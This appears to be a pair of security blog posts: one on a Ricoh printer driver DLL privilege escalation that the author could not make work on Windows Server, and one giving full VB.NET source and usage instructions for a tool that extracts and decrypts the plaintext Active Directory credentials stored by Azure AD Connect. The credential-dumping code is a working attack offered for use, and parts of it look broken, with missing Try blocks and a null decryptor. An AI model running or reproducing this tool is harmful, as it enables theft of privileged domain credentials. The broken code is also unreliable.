Ricoh Printer Exploit (Priv Esc To Local System)

First of all I should point out that at the moment this priv esc exploit only works on a workstation OS and not on a server OS (unless you can get into the Print Operators group). This post is about me trying, and failing, to get it to work on a server OS.

For more info on the exploit itself, read this:


  • A few Ricoh printer driver DLLs have “Everyone – Full Control” permissions by default
  • When a new printer is added using this driver, the print spooler service (which runs as Local System) will load these DLLs
  • Due to the bad permissons on the DLLs, any user can replace one of them with a malicious DLL. Then they can add a new local printer using the existing driver and at this point the malicious DLL will get loaded by the print spooler service. So now you’ve got your code being executed as Local System
  • Regular users have permission to add new printers as long as they use a  driver that is already installed (so this exploit only works if one of the vulnerable drivers is already installed, as regular users cannot install new drivers)

So if you’re attacking a workstation, you’re good. There’s even a metasploit module that will do all the work for you as usual.

For a server OS though, there’s a problem…

I tried to use this on a Windows Server 2019 machine that had the vulnerable driver installed and it failed. After some testing I discovered that this is because users do not have permission to add printers on a server, even if the driver is already installed. Recall from the bullet points above that we need to add a printer to trigger the print spooler service to load our malicious DLL.

In fact on a server OS, a regular user can’t even run the Powershell command Get-Printer to see a list of printers installed on the system:

The first thing I noticed in both the POC and the metasploit module code is that neither of them call the Windows AddPrinter API directly. The metasploit code calls the built in prnmngr.vbs script (which internally uses WMI) and the POC calls the PrintUIEntry function with rundll32.exe.

So just to make sure this permissions issue was not being caused by something in any of those scripts, I wrote a program that will call the AddPrinter API directly. I also made it call the EnumPrinters API to see if we can at least list existing printers, as even that fails with access denied when tried from Powershell as a non admin user.

Nothing crazy but for what its worth, the full code can be found on my github here:

Both of these operations worked perfectly fine as a regular user on my Windows 10 machine. So I moved them over to the target machine which is running Windows Server 2019 but there adding a printer fails with Access Denied:

The enum part of my program does succeed though, so at least we bypassed the Get-Printer access denied issue by calling the EnumPrinters API directly:

I noticed if we replace the original driver’s watermark.dll with a malicious DLL and then do anything that would cause it be accessed, the genuine DLL gets instantly copied back to the directory and overwrites our malicious DLL. This must be why in the original POC they are monitoring the file system for changes to detect when the original DLL gets copied back and then they quickly replace it again with the malicious DLL before it actually gets loaded by the print spooler service. I’ve implemented something similar using the .NET FileSystemWatcher class:

This worked as expected and now our malicious DLL always ends up being loaded instead of the original DLL (although making the program copy the DLL a few hundred times to make sure it sticks was maybe a bit overkill).

So now we have our malicious DLL in place, the problem is that we can only get it to be loaded by a process running as our regular user and not a system service. For example when we try to print to the printer from notepad or access the printer properties etc, our malicious DLL does get loaded but it is loaded by the notepad.exe process which is obviously running as our regular user and not Local System. So it seems like the only time the print spooler service loads these DLLs is when adding a new printer.

One other thing I noticed was that when we fail to add a new printer as a normal user, we see this in the Process Monitor stack trace:

When we do the same thing but as an admin, we don’t see this “AddPrinterCompletedInProc” function and instead we see a load of RPC calls. So I tried using the Samba RPC Client to call the AddPrinter RPC function directly (in the hopes that maybe we bypass the permissions check that is causing it to fail before it tries the RPC stuff), but this also fails with access denied:

I assumed the print spooler service would load all of the printer DLLs when it starts up, so perhaps we could crash the service and then when it auto restarts it would load our DLL. Unfortunately when I restarted the service I found it did not load any of these DLLs. To me it seems quite strange that it even loads the watermark DLL at all when the user adds a printer, because the print spooler service itself doesn’t seem to actually need it (otherwise it would load it itself when a user prints, or when the service starts).

One final weird observation is that in my tests I could only get the attack to work even with the user in the Print Operators group if the driver was set to run in isolated mode. This makes the print spooler service start a separate PrintIsolationHost.exe process when the driver is used and it is that process that loads the watermark.dll when we add a printer. No such issues on a workstation though (which is good as there’s no easy way to specify driver isolation there AFAIK)

In summary: Whilst this works perfectly on a Windows 10 machine, I couldn’t get it to work on a server OS as a regular user unless they were a member of the Print Operators group. Hopefully someone else can take my findings and finish the job 🙂

Azure AD Connect Database Exploit (Priv Esc)

The Azure AD Connect service is essentially responsible for synchronizing things between your local AD domain, and the Azure based domain. However, to do this it needs privileged credentials for your local domain so that it can perform various operations such as syncing passwords etc. I recently discovered this great video that explains where it stores these credentials and how to decrypt them.

TL;DR: Its possible to just run some simple .NET or Powershell code on the server where Azure AD Connect is installed and instantly get plain text credentials for whatever AD account it is set to use!

Initially I thought I would have to repeat all of the steps they performed in the video (decompiling and watching API calls etc) to produce my own code that exploits this… but it turns out the presenter (Fox-It) was kind enough to provide this Github repo demonstrating exactly how to perform such an attack in C#.

There’s also this blog post by XPN InfoSec that provides more info as well as a working Powershell alternative.

Anyway, I thought I’d also have a go at writing my own version and compile it so its super easy to use and also gives you the option to choose between attacking an SQLExpress “LocalDb” database or a full fat SQL Server instance. Fox-It mentioned he had a download link for his compiled program in the Github readme, but I couldn’t get it to download (he also mentioned the way credentials are stored has changed recently so his code might not work now). I knew the Powershell script worked fine after changing the SQL connection string when I tested it myself, so I used that as my base and wrote a similar utility in VB.NET.

There’s a download link for my compiled program at the bottom of this page but here’s the code for anyone interested:

Imports Microsoft.DirectoryServices.MetadirectoryServices.Cryptography
Imports System.Data.SqlClient
Imports System.Xml
Module MainModule

    Sub Main()
            Console.WriteLine(Environment.NewLine & "======================" & Environment.NewLine &
                              "AZURE AD SYNC CREDENTIAL DECRYPTION TOOL" & Environment.NewLine &
                              "Based on original code from:" & Environment.NewLine &
                              "======================" & Environment.NewLine)

            Dim SqlConnectionString As String = "Data Source=(LocalDB)\\.\\ADSync;Initial Catalog=ADSync;Connect Timeout=20"

            If My.Application.CommandLineArgs.Count > 0 AndAlso String.Compare(My.Application.CommandLineArgs(0), "-FullSql", True) = 0 Then
                SqlConnectionString = "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"
            End If

            Dim KeyId As UInteger
            Dim InstanceId As Guid
            Dim Entropy As Guid
            Dim ConfigXml As String
            Dim EncryptedPasswordXml As String

            Using SqlConn As New SqlConnection(SqlConnectionString)
                    Console.WriteLine("Opening database connection...")
                    Using SqlCmd As New SqlCommand("SELECT instance_id, keyset_id, entropy FROM mms_server_configuration;", SqlConn)
                        Console.WriteLine("Executing SQL commands...")
                        Using Reader As SqlDataReader = SqlCmd.ExecuteReader
                            InstanceId = DirectCast(Reader("instance_id"), Guid)
                            KeyId = CUInt(Reader("keyset_id"))
                            Entropy = DirectCast(Reader("entropy"), Guid)
                        End Using
                    End Using
                    Using SqlCmd As New SqlCommand("SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'", SqlConn)
                        Using Reader As SqlDataReader = SqlCmd.ExecuteReader
                            ConfigXml = CStr(Reader("private_configuration_xml"))
                            EncryptedPasswordXml = CStr(Reader("encrypted_configuration"))
                        End Using
                    End Using
                Catch Ex As Exception
                    Console.WriteLine("Error reading from database: " & Ex.Message)
                    Exit Sub
                    Console.WriteLine("Closing database connection...")
                End Try
                    Console.WriteLine("Decrypting XML...")
                    Dim CryptoManager As New KeyManager
                    CryptoManager.LoadKeySet(Entropy, InstanceId, KeyId)
                    Dim Decryptor As Key = Nothing
                    Dim PlainTextPasswordXml As String = Nothing
                    Decryptor.DecryptBase64ToString(EncryptedPasswordXml, PlainTextPasswordXml)
                    Console.WriteLine("Parsing XML...")
                    Dim Domain As String = String.Empty
                    Dim Username As String = String.Empty
                    Dim Password As String = String.Empty
                    Dim XmlDoc As New XmlDocument
                    Dim XmlNav As XPath.XPathNavigator = XmlDoc.CreateNavigator
                    Password = XmlNav.SelectSingleNode("//attribute").Value
                    XmlNav = XmlDoc.CreateNavigator
                    Domain = XmlNav.SelectSingleNode("//parameter[@name='forest-login-domain']").Value
                    Username = XmlNav.SelectSingleNode("//parameter[@name='forest-login-user']").Value
                    Console.WriteLine("Finished!" &
                                      Environment.NewLine & Environment.NewLine &
                                      "DECRYPTED CREDENTIALS:" & Environment.NewLine &
                                      "Username: " & Username & Environment.NewLine &
                                      "Password: " & Password & Environment.NewLine &
                                      "Domain: " & Domain & Environment.NewLine)
                Catch ex As Exception
                    Console.WriteLine("Error decrypting: " & ex.Message)
                End Try
            End Using
        Catch ex As Exception
            Console.WriteLine("Unexpected error: " & ex.Message)
        End Try
    End Sub

End Module

and when we run it on a machine that has the Azure AD Connect database on it, we get the AD account’s credentials in plain text (obviously I’ve blurred out the actual password, but you get the idea):


AdDecrypt.exe (with no parameters)

Will attempt to access the ADSync database on the default SQLExpress “LocalDb” instance

AdDecrypt.exe -FullSQL

Will attempt to access the ADSync database on a full fat MS SQL instance using windows authentication (the actual connection string used is: “Server=LocalHost;Database=ADSync;Trusted_Connection=True;” )

This program must be run while the AD Sync Bin folder is your “working directory”, or has been added to the PATH variable. An easy way to do this is simply navigate to the folder in Powershell or Command Prompt (i.e cd “C:\Program Files\Microsoft Azure AD Sync\Bin”), and then run the program by typing the full path to wherever you have stored it. You also need to make sure the mcrypt.dll from the download link is in the same directory the program is in. Failure to do either of these things will result in a Module Not Found error.

Download link:

Hope that helps someone 🙂 and again a big shout out to the guys at Fox-IT that figured all of this out originally, and the guys at XPN InfoSec who put together the Powershell script and some further explanation.